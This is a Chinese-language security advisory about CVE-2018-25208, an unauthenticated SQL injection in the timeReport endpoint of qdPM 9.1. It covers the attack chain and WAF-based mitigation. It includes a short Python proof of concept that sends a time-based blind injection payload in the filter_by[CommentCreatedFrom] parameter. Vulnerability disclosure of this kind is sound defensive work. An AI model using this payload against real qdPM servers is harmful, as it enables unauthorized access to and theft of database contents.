IPBUF安全漏洞报告
English
CVE-2018-25208 CVSS 8.2 高危

CVE-2018-25208 qdPM SQL注入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2018-25208
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
qdPM

相关标签

SQL注入qdPM无需认证CVE-2018-25208数据泄露

漏洞概述

qdPM 9.1版本存在SQL注入漏洞,由于未对用户输入进行充分过滤,未经身份验证的攻击者可以通过向timeReport端点发送特制的POST请求,利用filter_by参数注入恶意SQL代码。该漏洞允许攻击者执行任意SQL查询,从而窃取数据库中的敏感信息,对系统机密性构成严重威胁。

技术细节

该漏洞位于qdPM 9.1的timeReport端点处理逻辑中。当系统处理包含filter_by参数的POST请求时,未能对filter_by[CommentCreatedFrom]和filter_by[CommentCreatedTo]等参数进行有效的安全过滤或预编译处理。攻击者无需经过身份验证,即可构造含有恶意SQL语句的Payload发送至服务器。由于输入直接拼接到SQL查询中,导致数据库执行了攻击者指定的任意命令,从而引发数据泄露风险。

攻击链分析

STEP 1
信息收集
攻击者识别目标服务器运行qdPM 9.1,并确认timeReport端点可访问。
STEP 2
构造Payload
攻击者构造包含恶意SQL语句的POST数据包,利用filter_by[CommentCreatedFrom]参数注入Payload。
STEP 3
发送请求
攻击者向受害者的timeReport接口发送恶意POST请求,无需身份验证。
STEP 4
执行注入
服务器后端解析请求并将恶意参数拼接到SQL查询中执行。
STEP 5
数据窃取
攻击者利用SQL查询结果或基于时间/布尔盲注技术提取数据库敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://example.com/index.php/timeReport" # Payload demonstrating SQL injection via time-based blind technique payload = { "filter_by[CommentCreatedFrom]": "2023-01-01' OR SLEEP(5)-- -", "filter_by[CommentCreatedTo]": "2023-12-31" } try: # Send POST request without authentication response = requests.post(target_url, data=payload) # Analyze response time to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection triggered.") else: print("[-] Vulnerability not detected.") except Exception as e: print(f"Error: {e}")

影响范围

qdPM 9.1

防御指南

临时缓解措施
建议在WAF(Web应用防火墙)中添加针对filter_by参数的SQL注入检测规则,或者临时限制对timeReport端点的网络访问,仅允许受信任的IP地址访问,直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表